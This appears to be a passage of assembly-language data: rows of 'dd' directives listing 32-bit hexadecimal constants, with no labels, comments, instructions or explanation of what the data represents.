dd 80D1F603h, 0EF99F0C1h, 6809F57Fh, 166802AFh, 7D70A654h
dd 480C2394h, 29A0D4E9h, 0FB7D62F3h, 0F70B8455h, 61D2D089h
dd 82FEF89Fh, 0A457E66Dh, 0C0135BEDh, 4E0A35BEh, 581F142Fh
dd 61F9B5E6h, 171755ACh, 8B165D0h, 6DF05DCDh, 1C982E10h
dd 0D697F231h, 84568E0Fh, 28AFE471h, 819516A5h, 5E5F56A9h
dd 8CD92889h, 7AC258B3h, 6F79D275h, 6589095Ch, 79B72770h
dd 0EB5BE4A2h, 0EA5EB69Eh, 0FF28D249h, 3A454F0Bh, 0DAE48040h
dd 3CDC75F6h, 0C40542CCh, 65E68806h, 0A0921AA5h, 0FE19897Dh
dd 10FCC9EAh, 1CFE740Dh, 0A362C7Fh, 759D825Fh, 0A8904FECh
dd 0E2BE94h, 81670A11h, 49599ACEh, 202F28B8h, 17B24677h
dd 0F31C0668h, 0B4D8129Fh, 0BD53B7B4h, 0C05BEE05h, 1D5FC764h
dd 7F6BA227h, 4BE96338h, 812BD4BDh, 71AA2735h, 524E3BFBh
dd 1D52C2F6h, 0FE805D17h, 8479F49Bh, 5102F495h, 4EA16FF1h
dd 0E05022Bh, 0DAD5CF51h, 0E90880D2h, 0AAF76017h, 3B7E3E0Dh
dd 447D2862h, 1A86180h, 33E97C84h, 8374FB94h, 831439C3h
dd 0A9BC108Eh, 53BA02B2h, 5767A122h, 0FE82367Ch, 618A52CCh
dd 473228A1h, 56BCCE9Eh, 9DA2BE12h, 1FB268C2h, 992596ECh
dd 91CD66ADh, 0D2568889h, 0A7130425h, 51AFBE40h, 4CC94CA8h
dd 2341B002h, 423C3462h, 0CAB201E9h, 300AD55Ah, 71871FDh
dd 0B00C2AAAh, 214B05Bh, 1A03BF57h, 70556916h, 0CA5C9507h
dd 90EF0165h, 6A8A58ACh, 2E9C0CC1h, 1C703E12h, 21552472h
dd 0FECA085Dh, 0E4C37A30h, 0F5D92F91h, 566242D6h, 1C57F44h
dd 0F35BC60Ch, 9D5D55h, 0A7F8EC4Ah, 0F5EC76F2h, 2FBED453h
dd 5BA861E3h, 12B18B2Bh, 86D9AE40h, 4913E352h, 0F27FB873h
dd 0C8F31ACEh, 5DA0272Ch, 497E595h, 26C82F69h, 0FB936D1h
dd 17BC20E6h, 34661F45h, 9B2494C4h, 0F90C6927h, 2E0C6DA1h
dd 0AEF2FABh, 81421968h, 7C437F92h, 0E9C8BF0Fh, 1B8C1D9Ch
dd 0FDD3FB25h, 624ADF90h, 5EC990E3h, 0DD11D80h, 455E1FAEh
dd 3685C185h, 98D5E584h, 796598AFh, 0B78640h, 284EB17Dh
dd 0B4505BF9h, 179F14Ch, 0E9D4F624h, 443A37A2h, 0BB04F18h
dd 0ECE70231h, 4BDD092Ch, 0F538D24Ch, 3B7B3489h, 3C4C702Dh
dd 75F6B832h, 0F87604F1h, 0A8A3E977h, 0DC5A2753h, 30F7CB22h
dd 127CC3BDh, 0EA3DF77Dh, 5E0D03F0h, 7A0731B3h, 0B5743AFCh
dd 0D502FA0Bh, 8B776B96h, 589E7CBDh, 6812F9F7h, 13B82B70h
dd 64C1E2F5h, 8D41988h, 706EF6FAh, 558562BFh, 6897ECE4h
dd 7E685E7Dh, 6BF3B5C0h, 0C2E77E8Ch, 9007E8C1h, 71D31733h
dd 4F230DFAh, 0FDA16B1Dh, 0B2B9DE1h, 27745940h, 125155F8h
dd 0A98DBAE9h, 9CCBDEC0h, 0EFE45ED7h, 14A6300Fh, 804C1A6Eh
dd 42AE4B5Bh, 6BED81D5h, 30EC1FC1h, 5F0BD91Fh, 0FE0139FBh
dd 765482B4h, 0A8552D66h, 0E90408CDh, 0F5E46504h, 123213F3h
dd 0D7D4EA46h, 9376B3FBh, 58CE90C1h, 0C0A7046Eh, 6DDDEE5Bh
dd 0DFAC3CECh, 3074A7B0h, 5F5E5752h, 0A676A658h, 0C7E925F1h
dd 5CAD85E1h, 0BD09BB42h, 341736h, 5B305E45h, 9F3EC4Ch
dd 751D1149h, 70FC5703h, 3E094891h, 0D48FF3F0h, 0B9169B92h
dd 868BFBE4h, 0AB3680Bh, 1DC80230h, 800C482Dh, 40D135E1h
dd 0E91912CFh, 4145E510h, 31575DBEh, 482C60EFh, 9B70297h
dd 0CB0F41F5h, 0F105166Ah, 9A613F6Bh, 0E2324C5Ch, 938B0793h
dd 0BF2AF47Ah, 0AC30AEDDh, 64261890h, 6E860C7Eh, 5A3E9D27h
dd 45088359h, 8AF2140Ch, 0B0C8228h, 0AC77561h, 1C71496Ah
dd 0FAC944DDh, 59540605h, 0D0EDB6AFh, 262C84DEh, 0B074A9ACh
dd 9CC44BC0h, 8E096869h, 0FC38B565h, 3CDD5967h, 995226ACh
dd 663B5100h, 205BA40h, 0E9A3B1B2h, 115FAF44h, 19E85346h
dd 0E808B5C5h, 5E873BBFh, 6D012187h, 5D0802D4h, 0E92E7CC6h
dd 8880E990h, 2C5A5BDDh, 4FF6F612h, 7D1E39F0h, 0BBBD5457h
dd 2802CD09h, 0C92EFF72h, 0A2833E60h, 0AEBC09D5h, 70387F1Eh
dd 889B6F9Dh, 0BE00884Ch, 69C93534h, 30E60981h, 0F51D7Ch
dd 0B27895D3h, 0E118C04Dh, 876FB959h, 0D3C1DE4Ah, 205A1E0h
dd 837EFD73h, 2040CDE9h, 25980753h, 0FBE8F40h, 0BA84837h
dd 0D12B7C4Bh, 0B692BC7Dh, 16E8BD2h, 726284F4h, 7318DD45h
dd 99143865h, 1CC45558h, 72B0D8E9h, 728035B9h, 0A5015B10h
dd 6566E4Ch, 4FED79B0h, 1131CCE7h, 48D67717h, 6968FB1h
dd 0A174EB08h, 54F36680h, 441A286Bh, 0A48309BEh, 0B0E088D9h
dd 51B7CD21h, 0F8646B72h, 43096103h, 89E9010Ch, 84A5BB58h
dd 56276A5Bh, 0E18A12E3h, 0AD74F514h, 19B17408h, 7F21E1C8h
dd 1FB952E4h, 89C4956Eh, 5EB02518h, 42949626h, 0E055CC60h
dd 0A5D8A033h, 47370013h, 9167F205h, 0C6090922h, 0C56D2DE9h
dd 0FD5132C5h, 5A1E48F0h, 1B08D1F6h, 0E52B27A1h, 5EC027FDh
dd 25BEE570h, 513505B1h, 0F372AE68h, 0C1F73D9Ch, 7CEB3687h
dd 19450778h, 8006C311h, 0DC740D1Ah, 9D94E967h, 4900B089h
dd 6DDF7EB4h, 4EDEF71Fh, 7B14C48Ah, 299BF642h, 478422BAh
dd 0D63107A0h, 7DF6B572h, 471D73F1h, 3DBA4A78h, 0F5F93A4Ch
dd 4C6A9110h, 0E0092FA1h, 3D26B895h, 7C791067h, 0C5F9F6C5h
dd 0EC215818h, 9BEE92CEh, 36E90C84h, 92836BFh, 5BA82CD8h
dd 86F66DD7h, 698045E9h, 0EAF85F77h, 0F4CA22B5h, 9D95F96h
dd 0FFDE15C2h, 0C46F7E51h, 8CBFB58Bh, 0B640315Ch, 0CA810242h
dd 12CE2F2Dh, 91403D42h, 589828ACh, 0BD0B77F2h, 0FFD001F5h
dd 0FE254547h, 0B37F07C5h, 8DE7C04Bh, 505EA658h, 25A7D6A0h
dd 665EBF5Dh, 8DC88269h, 67537416h, 4544C2E8h, 6A01E840h
dd 411F721Dh, 66F1E1C1h, 0A47A3FDAh, 0B5EE4398h, 10C7BE5Ch
dd 5927B099h, 74ADD1C7h, 0EC7D2549h, 808D4A6Eh, 0CB285B26h
dd 0FC58592Fh, 5750E23Ah, 993E9CA2h, 76E477Dh, 911E368h
dd 0AD36FB57h, 96CB16F7h, 3CB0C2B8h, 3E78B800h, 38717A5Fh
dd 0A85F87D3h, 0FC2BBDACh
dd 7B95A401h, 0D38B3CAFh, 6731734Eh, 0C50546F3h, 0ED7AE15Dh
dd 2099540Dh, 49F603CEh, 0AC35E87Dh, 92B08541h, 0F011D719h
dd 0B2D1BCAh, 53B3906Ch, 1250A368h, 0F2930D2Eh, 1320787Dh
dd 0B9F7F07Ah, 46AD0073h, 0E68505Eh, 51EC6141h, 0C772ABBCh
dd 0FB5F5D75h, 5185898Bh, 75F66B5Eh, 0BA24C764h, 0B7EDCFDh
dd 0E5D1FFEDh, 5200D7DCh, 0A42A8EBAh, 8056CC41h, 0CC90EBABh
dd 0B7787295h, 0E9417E51h, 2C80A723h, 0E5198C25h, 3528407Bh
dd 685B8E2Dh, 0C69500FBh, 0B331DA0h, 17DE013Eh, 0F1CD374Ch
dd 75E90F01h, 0E6C133Ah, 0D107582Fh, 8BB8B480h, 0B3530B28h
dd 9901DFC8h, 6E32B450h, 0D91EF6B8h, 5B3EF730h, 0F920119Ch
dd 7B5E4C68h, 0A4C08B20h, 64324308h, 620EC059h, 2DB59FE3h
dd 0C570F601h, 729AE909h, 2EE23BA7h, 6BE8F9h, 0FC2DF331h
dd 84015F0Ah, 8B08140Dh, 0CE45BEE4h, 0A1D1C97Eh, 0E53053D0h
dd 0C351C0A4h, 589A1AD3h, 83F1D29Fh, 121C7008h, 0BF08CC41h
dd 2D68712Ch, 0B34505EDh, 3E21E906h, 26853823h, 0FE74EF5Bh
dd 25F483AAh, 132EF3CDh, 2860B1FAh, 4FDA6852h, 1DA5A74Fh
dd 0ADEA4EE9h, 0A6AC500h, 6F090654h, 5985FC1Ch, 0F719BAABh
dd 3AE7EED2h, 6CE1B88Dh, 743F1125h, 0DDDD82E3h, 203B79D7h
dd 0B3868058h, 6DD1285Bh, 27297F92h, 63EA48DAh, 8765080Bh
dd 4A312F82h, 99487E55h, 60070606h, 0E131DCDh, 47926DD4h
dd 17625895h, 0AB88C580h, 1B68F902h, 31EED702h, 0F7A8A262h
dd 5A1040D0h, 0B0915F2Fh, 0D617ABE8h, 24BC0B6Fh, 0E063E917h
dd 0A7042D04h, 317EB78Fh, 5C46A9E0h, 0CDEE8ADh, 0F1EF3CEEh
dd 61917704h, 29D221F6h, 792F864h, 0A87B17BEh, 9F08A22Bh
dd 66A16C68h, 829C0BC8h, 309FA68h, 0B167C982h, 2E6372D4h
dd 0ED690E8Dh, 19658812h, 2990BC89h, 9981ED97h, 5F639E13h
dd 67CEF49Dh, 0EA376B68h, 0AC2B0581h, 0D69575DBh, 0F07025E5h
dd 98790F20h, 61D9808Fh, 0C1CE735Ah, 315E500Ch, 0FEDD404Ch
dd 7413DC0Ch, 0CEAA3C8Bh, 6B294CB0h, 528E5417h, 0F0340EDAh
dd 0C0BAD57Ch, 682E9FA6h, 4C3DCD2Dh, 11B765D8h, 3BAB6C2h
dd 12A1BCAh, 0B0F2B03Fh, 7722817h, 369502E8h, 0D6211AD5h
dd 50FEC105h, 0E507FD52h, 0B35E2262h, 64B02E2h, 80FB99E0h
dd 61BDF580h, 827F3F0Fh, 2450415Eh, 4BADE59Dh, 0FFC8D505h
dd 0DE2FB0F3h, 0DDFC268Bh, 0A9C8290Fh, 58E7FA8Eh, 0E05A7E6h
dd 0ED050D25h, 1112342Bh, 9496B8BAh, 44A125E1h, 0A2682FA9h
dd 57AFBF0Fh, 0C797FC33h, 2567805Ah, 758FC9D2h, 0B2206B27h
dd 0FE5F3AC3h, 0B442A7F8h, 6A20BBFEh, 26CDF648h, 2F13F487h
dd 24B378C3h, 0BE21D24Ch, 666EB99h, 8BA52F8Dh, 8CC655D6h
dd 0A182B528h, 0B1801C70h, 2DB49C6Ch, 7F5A725Eh, 322F685Bh
dd 0DF227780h, 0CED931A9h, 4E7C8189h, 25E6B06Eh, 8DF4388Bh
dd 4BFDE950h, 0BB3A741Dh, 680A36F9h, 89A72C61h, 0B2B0E373h
dd 0CCB56E39h, 2843E822h, 0DE42D0h, 146B4AF5h, 63BEBB53h
dd 514E6600h, 7F72C9B9h, 1E0D9806h, 0E4F34C8Eh, 8DE82F9Fh
dd 0E25E66E9h, 68FB42AEh, 0A5592EA1h, 0FE49D282h, 1FCA807Ch
dd 0A156AF0Ah, 0F47F06D9h, 80BD5EE3h, 0A62D5D97h, 5B432D33h
dd 0FC95DD61h, 0A591B3DBh, 1CB85080h, 352C700Eh, 0EE0B38BAh
dd 1C8BBC6h, 4B466D5Ch, 7DF648E9h, 0B6DED871h, 0B127121Fh
dd 9366B989h, 0F5304BFEh, 17BC2D79h, 0B9B6777Dh, 1088EE4Bh
dd 89A4409Dh, 2D3ECD4Ch, 775F331h, 0D273616Fh, 0A0D60C2Bh
dd 77560380h, 5BC86866h, 0A565A830h, 0A73DC8FBh, 2FB2BD80h
dd 58DE4146h, 0A916E302h, 8241C24Ah, 0B4225A8h, 522D4857h
dd 31FBA454h, 291E4E94h, 0AF80DCDEh, 63A00FD2h, 332EE981h
dd 0A98C585Dh, 40051082h, 4996EF4Ah, 0EDC097Eh, 0E1803A5Eh
dd 54A011E4h, 103DCDF8h, 0F720731Dh, 8C871CDDh, 5FE98BA4h
dd 0A410FCABh, 0E56F2802h, 0D05BE967h, 542C1A56h, 0AC0FB759h
dd 0C04D8013h, 0FE2F03E4h, 45A502CCh, 2D6B4CB1h, 945FF377h
dd 7084FAEDh, 0ED76976Ch, 90EB8350h, 0B2A62E3Ch, 0D488C57h
dd 91AAC037h, 10E23480h, 0BBB01D5Bh, 4EDEE141h, 0A586DDEBh
dd 8A065DFh, 0DE848FBFh, 0CFF8215Bh, 2A09414Ch, 0F3550212h
dd 7BD0A538h, 0E1FDE833h, 2A25FD77h, 0A68E4857h, 59A2E983h
dd 7CBE1602h, 0D5DA23A4h, 54087BF1h, 62AC329Eh, 49EC760Bh
dd 0B8A9304h, 0FE39FD5Dh, 52B72ABBh, 3004EE4Fh, 0AC0EE47Bh
dd 916DD5C5h, 3A59CDC3h, 0D69CAAE3h, 55CBAA93h, 3E63BD07h
dd 0E909348Ch, 0F7845A9Dh, 200A7DFFh, 7E16FB6Ch, 56426FFFh
dd 0FA134FE9h, 8ACF2036h, 2E6E3058h, 0C0933ADBh, 0B2204819h
dd 4E3046F2h, 0C49BB75Eh, 6800177Eh, 7CC3185Ch, 0E91BB0BFh
dd 56AC901h, 0CC0B4F80h, 297CFE7Fh, 36F9FFAh, 0EE09B63Ch
dd 5F77467Dh, 5F5F9C3Ch, 33AB6816h, 0F060DFA6h, 28B010E3h
dd 7CE78104h, 0C4EE9309h, 5C05D27Ch, 675DC0C1h, 0E9FE0D51h
dd 0BE2E7549h, 0BA807679h, 5EE8579Fh, 86E07E2Dh, 48C4494Fh
dd 5ED20710h, 0E9C2DDF7h, 0F6558715h, 0BE3C6503h, 0DEBAC112h
dd 12BF4BF7h, 209B07ECh, 0E9458C4Fh, 54616037h, 0F44389CEh
dd 80C6606Fh, 0E925C3EFh, 5BAF02EDh, 7059C251h, 0EC294B44h
dd 7EA804BEh, 0CBAB185Fh, 7FF5037Ch, 0E0BB5969h, 263F5DC6h
dd 13AC30A6h, 0D8ACEC03h, 91D2F958h, 4174E8Eh, 495D5A95h
dd 173175CDh, 10F83329h, 987AB476h, 3A70FB17h, 0B7AFB284h
dd 66142BB4h, 128CE1F7h, 71EF741Ah, 760D134h, 40EB5675h
dd 733A49B7h, 6A23558h, 7431EB76h, 0C9385AD7h, 48B7BAD2h
dd 0F4E95704h, 7897B28Bh, 90726B2Dh, 4685110h, 6D01A3Bh
dd 49EC59h, 2F925084h, 4C7A31BEh, 0DB171857h, 0BE49349Fh
dd 12907DB4h, 87EE1FEDh, 0ED703B33h, 5F215C0Bh, 660F061Ch
dd 0D6804D7h, 0EA1AD12Fh, 6FB93101h, 0F7D85215h, 0A38612AFh
dd 4900FB19h, 4A698DBBh, 47F09F3Ah, 0A62BF9BDh, 0A05E3C8Eh
dd 0D562967Bh, 464D525Bh, 62ECF127h, 28224E3Eh, 0F8FF52FEh
dd 7008583Fh, 2D8523E9h, 44B5B74h, 0FE12C646h, 5A71CEE0h
dd 9A32FBB0h, 1A654D4h, 2D05B9B8h, 7A62E9FDh, 0EB802503h
dd 0D80650ABh, 0EAC3F0E3h, 0A26F27E9h, 448598FDh, 0BBD1BE41h
dd 14296FFh, 1208D7BAh, 87993064h, 72A94A16h, 140590AAh
dd 3369564Eh, 46256012h, 0A406517Eh, 2D1BA9E4h, 20FA1282h
dd 2BE7CF01h, 0EBE979BCh, 0BA009C6Ch, 5F6C03E2h, 26C0D189h
dd 0B81209C9h, 0C4FFA310h, 5C2CDB87h, 1F4A0211h, 0C4E0E971h
dd 0BD334E5Fh, 9652CA51h, 266D90D3h, 4BF6220h, 950B21E9h
dd 8CA3ABF6h, 1476A6D6h, 22441DFh, 74D85F08h, 72EBDD01h
dd 0CAD9EBADh, 26E91100h, 0F3C1C07Dh, 6A40253Eh, 0E4A5AC1h
dd 0FA834FC7h, 3604731Dh, 2DBBCAE0h, 0C170D507h, 0FFF407E2h
dd 0FD5A1EC2h, 27CA1BE8h, 2150377Eh, 9D1B6D94h, 0A15257EEh
dd 0F7703517h, 90E74E04h, 2E62C201h, 0D427AB28h, 660C9809h
dd 2096D01Fh, 5B66C663h, 0EC2E085Eh, 4DDC00FBh, 2957C505h
dd 382DE919h, 2CA49987h, 7FF9EA01h, 0EE029FF9h, 1418E3D5h
dd 986F045Eh, 2E6C022Ch, 427C3CC6h, 79F5C3CEh, 11686120h
dd 0E8D7F43h, 2C3B643Bh, 782C68ECh, 0B5C6201Eh, 5D5376D7h
dd 5D0ADF70h, 7885F51h, 0B00C7DC7h, 3B8051Bh, 29244009h
dd 494771F8h, 54E48B7Fh
dd 0C7D525B1h, 0A75C49D9h, 6402EC25h, 0AA2D49EBh, 55D678A1h
dd 0E5FE8250h, 0DCB52370h, 0D77270h, 0AE6498C8h, 0D0BE051Ch
dd 0EE185047h, 40B6F20Bh, 4BE7C057h, 5E90FA08h, 4C28B3F7h
dd 0B81885FAh, 2EE2515h, 0CCEBCDFDh, 3398A6E6h, 81507B4Ch
dd 7FBA239Dh, 685AE13Ah, 840F0F0Ah, 78455331h, 0C1D83E24h
dd 0C1690061h, 2047C742h, 3E7B969Fh, 38EF504Ch, 7750230h
dd 0DC56E959h, 0E3678112h, 3E09254Dh, 59D00CC8h, 0EE241E65h
dd 4EA12625h, 0B163939Fh, 53E8C04Ch, 8920B32Dh, 0DA7500BCh
dd 7D5BD828h, 1E526059h, 0B2B551C4h, 80C5FE1Ch, 82F6D689h
dd 59F78773h, 845A9209h, 42ACAB3Dh, 0A44EE8E5h, 418F9000h
dd 2DE903ABh, 7466A8E8h, 6830507Ah, 0B753309Ah, 3EB6B0E5h
dd 74273DC5h, 4477B209h, 9858FAC1h, 0B5DE20F2h, 81D4C160h
dd 3FC7B4EBh, 0F513A118h, 2003C91Bh, 320BCD14h, 0B2928FAh
dd 0A0C3F64Fh, 2EF6940Bh, 14FDC92Dh, 85F254E9h, 2482B764h
dd 7209D034h, 159D205Ch, 0D14E1AB2h, 61306EB0h, 0F3EB0ADEh
dd 0CB29F413h, 30C310C8h, 69DDE975h, 0EEC13CC2h, 0D7038906h
dd 11B011A3h, 0C1F56B3h, 2ED696E7h, 8C0604FEh, 0DE7EEBDh
dd 256B3811h, 98457FE5h, 59BB5380h, 0C20F525Ch, 0B70F69Ch
dd 0A0A43AC0h, 0C326DBB2h, 0B7425958h, 0DED80B61h, 5FEF6848h
dd 0F6B3E332h, 0E87C2755h, 42AF358h, 4B37F85Eh, 8A06B855h
dd 0C30BE45Bh, 0F276B3D2h, 39E088Ah, 799F30BFh, 4DC90C04h
dd 0A8BA04F1h, 0A00841A3h, 0D6C2140Ch, 0C80E2949h, 252A5A42h
dd 43F66E7Ah, 6930D927h, 0C75F392Bh, 0B5B2D34h, 3190554Bh
dd 2828EBB4h, 5EFA15E3h, 6ADF51BAh, 9060C880h, 0D0C30131h
dd 125E0894h, 0D043EA04h, 135A2EE9h, 0EE04EF93h, 95628D2Dh
dd 0F862F617h, 0B47DE94h, 5A05FC3Dh, 8615A4BAh, 5198A905h
dd 0C900AE9h, 975BFC88h, 0E91C0A96h, 0FF2526E1h, 4382EC3Eh
dd 0A1165456h, 6A61854h, 146A3B2Ah, 186F0BD6h, 627547E7h
dd 5D08076Eh, 17A2839Ah, 9BA57BFFh, 14D40E68h, 97A8DF12h
dd 0ECBD74D8h, 5854170Bh, 2DCDF908h, 0D72713D4h, 8FD7200Bh
dd 59EF411Ah, 913B5866h, 47E2D3Ch, 0ED0F40FEh, 0D185F85h
dd 0C4A6876h, 0AC2EEBCDh, 0CD29077Dh, 905B6EE9h, 1741EF08h
dd 0EF10F67Bh, 0C9EE7B24h, 3A09E949h, 0B7BF9C12h, 4BB9C4E3h
dd 0FCA815D4h, 5B8968CBh, 0A28C2071h, 4C2C525Ah, 0E97BE364h
dd 70E60A60h, 8D3AE1A9h, 0CF75EC1Fh, 94B7C8B5h, 3165B73Bh
dd 56A8A7BEh, 0DD5E2D75h, 5F1134C2h, 9E900916h, 2E48EE3Ah
dd 802720Ch, 0D742E8FFh, 0A0D512E2h, 3B47F627h, 797AC44Fh
dd 0C47BFC6Bh, 0D414E128h, 0AC966758h, 1D36B395h, 0CCD9210Dh
dd 0EE378FB4h, 0C203D60Ch, 124BC814h, 0EA30D737h, 68081450h
dd 0B8A5141Ch, 18A4B98Dh, 280B372Eh, 0CE25605Dh, 4308552Ah
dd 0C1002608h, 6B0ADC68h, 4A50C2F6h, 0BD82B533h, 7DD1C731h
dd 4912FC49h, 0A28A44DCh, 1E40441Fh, 97370301h, 59A1AFEh
dd 0BE810310h, 0C6F50263h, 21333BEAh, 0E6061150h, 1D3137C5h
dd 70E97C10h, 945797A1h, 0B6FFFC43h, 33B901A8h, 0E978B148h
dd 1454DA8Ah, 0B2D0D664h, 0F05EF201h, 53955D52h, 58470C15h
dd 19B45007h, 0D114CD66h, 0F4732053h, 0B45F5480h, 36577A94h
dd 0BAE913D7h, 5090F760h, 13B68CEAh, 2BA93501h, 1F207539h
dd 0C1EBC983h, 0A1FD8C89h, 0DB21B284h, 0A57E2DE1h, 1743D49Ch
dd 0DC012725h, 350720DFh, 0AEEF4EE9h, 53E4815Ch, 815FF210h
dd 0AAB4C0h, 12614EBAh, 0EA09629Ch, 0DAB91897h, 1360E88Dh
dd 0FE077A74h, 0E9FEEF80h, 41344F3Ch, 417CAB67h, 0D8C4EC08h
dd 0F02836C4h, 2E9DBEA2h, 2CD80EF2h, 0E9B8849Eh, 0BA52D529h
dd 0B5AEFCC5h, 74C06A71h, 50883DF4h, 99DD94E3h, 3BE71E3Ah
dd 0ECA8F82Dh, 62A127D0h, 6DA6685Dh, 404327BCh, 2CE8BDB3h
dd 34E5A09h, 8F5871C6h, 401FC85Ch, 0EC15D08h, 8A16827h
dd 888502Eh, 6A7CE90Bh, 0E68C7056h, 12E82E02h, 96E94C2h
dd 2278F049h, 0D1295E2Fh, 580B6A30h, 5219F105h, 2D325756h
dd 34C00747h, 0FC211859h, 9480BBEh, 6DE030EFh, 405FE668h
dd 20E9B998h, 0BF0420A6h, 0E4BE7837h, 36951880h, 0E3094C86h
dd 7029AD04h, 418EFD57h, 141CA008h, 129D5D58h, 5CD05584h
dd 4BA95B3Ah, 9F10BE68h, 39B15F08h, 7CB006FCh, 0F8E44B54h
dd 88520E2Dh, 4BD14FC2h, 5D3D8D9h, 63B82B8h, 0B49860Eh
dd 7DA50BB7h, 312D4E16h, 0C6685CF1h, 0C1057CF7h, 0FAC87698h
dd 5C78482h, 5A78E601h, 4099A398h, 0D30FB9CFh, 454A1475h
dd 0F4D7355Bh, 0E23BEE6Dh, 590B652Bh, 0CAEB85BFh, 1A6809E8h
dd 6099746Eh, 7EB55726h, 0C90693B0h, 58285BB9h, 0C0E912AEh
dd 8975AC5Dh, 6806E09Ch, 0F4639282h, 0BF59920Fh, 0BDA6602h
dd 7537B202h, 93317904h, 0E060F7CFh, 79A1C164h, 13617D7h
dd 0E390EECBh, 2D2129BBh, 0EF0734A3h, 9239D83Bh, 0E001CF01h
dd 71492F43h, 0FF2CADF9h, 4B2B000h, 2CD028A0h, 0D4313EE9h
dd 0FC6EC0FEh, 80B8A193h, 544C6978h, 81633058h, 0BAD940BEh
dd 42D4313Ah, 8E400353h, 0D9302D85h, 19180C34h, 0F91C50D5h
dd 587136Ah, 4116EA39h, 68F968EBh, 0D40E52Eh, 0D75833C2h
dd 9AB64E66h, 5C65ED62h, 0BC059F2Fh, 3F389B87h, 0E5370A3h
dd 292524E0h, 0C2E9F4C8h, 8D807532h, 1069E381h, 0E9133F06h
dd 964CD4C3h, 0BB5B398Dh, 41289322h, 6BD8AE3h, 814AF498h
dd 119CD5B0h, 87E264EAh, 2FA2D0EEh, 5B9A1FBAh, 4202595Fh
dd 965D409Fh, 9D2392C8h, 0E905F745h, 24BB1574h, 0EDA50068h
dd 29CC69E5h, 0AEE9F50Dh, 49D8A360h, 18B5266Dh, 905F126Bh
dd 6B487567h, 0EF894E14h, 688E27A0h, 4EB1A95Fh, 5B53CEDEh
dd 4CE9B188h, 0C5801E47h, 45053848h, 25575E95h, 8CE5457Dh
dd 9C3CFE5Ch, 55A5E916h, 407BC944h, 0A28634BAh, 9ED0D3E7h
dd 16C3299Dh, 0AC7C0171h, 460CD0AFh, 44924A99h, 5A095D95h
dd 0EB497B77h, 0BE053485h, 80832E68h, 464CAAE9h, 209D2F4h
dd 94F25B14h, 81B5A0DFh, 291EB1h, 274AD8B8h, 0AF786A31h
dd 6FE19570h, 0EB2E3BCh, 0EA8097A1h, 0E8D4C12Eh, 0F2A8C076h
dd 691267C3h, 0E7DA3631h, 0A913D18h, 555E5F5Bh, 0ACB565EAh
dd 0E9BAF40Ah, 78AE9787h, 3EF9E932h, 1F35EB84h, 83544808h
dd 96252DF6h, 0BDC63A00h, 0E93BD233h, 23F86040h, 322876CBh
dd 0E6A8ECF3h, 685C16C2h, 64B2AFCAh, 0C1059434h, 7F22BCEBh
dd 17309C7Bh, 0A4C5CC02h, 5C4F300Bh, 1C37640Ch, 0EA89BE1Fh
dd 0C3E152DAh, 150B58B4h, 122BF47Dh, 0FA096491h, 39ABCF05h
dd 8C3D67A3h, 0E943AE03h, 1A0E2D8Eh, 65EBCA80h, 0C6AE96F2h
dd 5748AAC4h, 37C820B4h, 30D2EF83h, 502528DBh, 4209F7ECh
dd 2C9E39h, 0E2058A2Ch, 7601586Ah, 12E23F2Dh, 0D55288D4h
dd 96D2FB94h, 5066F801h, 9C4077D5h, 4BEA59E7h, 0B237FE3Eh
dd 0B40C41CEh, 1280DD89h, 0D69E7F5h, 0BF015734h, 156D2B33h
dd 5CD03D05h, 0F801144Ch, 5F3C072Dh, 1450E83Ch, 1CF02DE9h
dd 0CFA38049h, 0FCDA1AEBh, 0CAD80AD8h, 6268ABDAh, 65B31AC0h
dd 956E7DDh, 27D4423Eh, 76BDE253h, 6B5725F3h, 33FDD060h
dd 50474FB1h, 497D088Fh, 7D48F071h, 0F0715E2Fh, 0FD504AE9h
dd 41514469h, 1FD77D5h, 81DCF829h, 6414BD70h, 0AE5841E1h
dd 1CBB0094h, 0C7B3D59h
dd 970B292Ch, 0BF7DAF5Ch, 7F292450h, 0E93808B9h, 50071651h
dd 0D1126CB8h, 0EF5C5D0Ah, 2CEAE707h, 4FE92D73h, 0B5BCF414h
dd 144A2679h, 8D810FAh, 3575E16h, 2002BF11h, 7234C1D4h
dd 2EB298Dh, 0D481D2Eh, 6853E04Bh, 4B47557Ah, 37000447h
dd 0BBD6E07h, 84B0ABD7h, 0D4310BDFh, 0E8742772h, 0FDED810Bh
dd 76AF3767h, 7A4869FBh, 495B4E68h, 277A8AB6h, 1A1863B1h
dd 70FB198Fh, 7509C119h, 57E3ABE6h, 0C65D5160h, 8CC2FFC0h
dd 0B5FD201Ah, 0F9630203h, 71CA1B1Fh, 0E131F09h, 0AD14C2E5h
dd 12465629h, 40AD0A31h, 4770A7EDh, 20EBEC95h, 502866Eh
dd 71886069h, 691D5C5Bh, 0ABACE05Fh, 825D81EBh, 0B51E4566h
dd 46EA7728h, 80E90802h, 0D09320F5h, 5E43B305h, 0DFF0C08Ch
dd 7958F662h, 18B57702h, 287DE617h, 62B1233Fh, 0EA010DE2h
dd 326D0CC1h, 588CCBB4h, 0B9510248h, 3B9244CFh, 896D89F7h
dd 27DC6584h, 42400376h, 95CEA4BCh, 0B0E719E0h, 0A7945597h
dd 3F6B1D22h, 0F81DF7E6h, 68DE032Ch, 851067EAh, 5A386990h
dd 0DB16C33Ch, 332BE411h, 2E80F440h, 6AC61EFh, 10CF282Dh
dd 0B0D168EBh, 5851302Ch, 0E8280DB5h, 0BFBF5EFDh, 0A2E28B31h
dd 0CF3EB525h, 70AF4B97h, 8135E9A2h, 2D96E6BFh, 10DDF0E6h
dd 9578639Bh, 4F7B147Ch, 0BE009045h, 5A0123AFh, 5EF1091Fh
dd 8330D9F7h, 3D471481h, 2A05C77Eh, 0FE4D1E2Bh, 5E60F791h
dd 0C1C38C3Ah, 6C306BEBh, 2FAD35CFh, 0A14E3168h, 3394E079h
dd 835B81E9h, 917F01C7h, 8A48A2E0h, 0E60DE90Ah, 5BACBA83h
dd 0E2B0873Eh, 48872211h, 0D4005234h, 0E9522D54h, 0A2B59B36h
dd 0DF879203h, 0FCFCA6E1h, 564C6C1Fh, 0D85EC97Bh, 12D65BFDh
dd 82E2BEFAh, 61C3CB9Fh, 6D3AAC4h, 744852CAh, 0B101400Eh
dd 1081B900h, 31247E66h, 882AC2C1h, 53565F0Eh, 0AE07C268h
dd 0B0E3DD58h, 6457E9B0h, 5AD22C0h, 58836665h, 0F2F0B68h
dd 204FACA1h, 0D682E8FEh, 0FA6796BFh, 61829F26h, 0F15D0868h
dd 7FDC200Fh, 3EA0099Fh, 14FD0CE9h, 2ED7955Eh, 7E624BD2h
dd 126D6050h, 0F6FA0658h, 5EE3034Eh, 651D9B94h, 0C94ADBFh
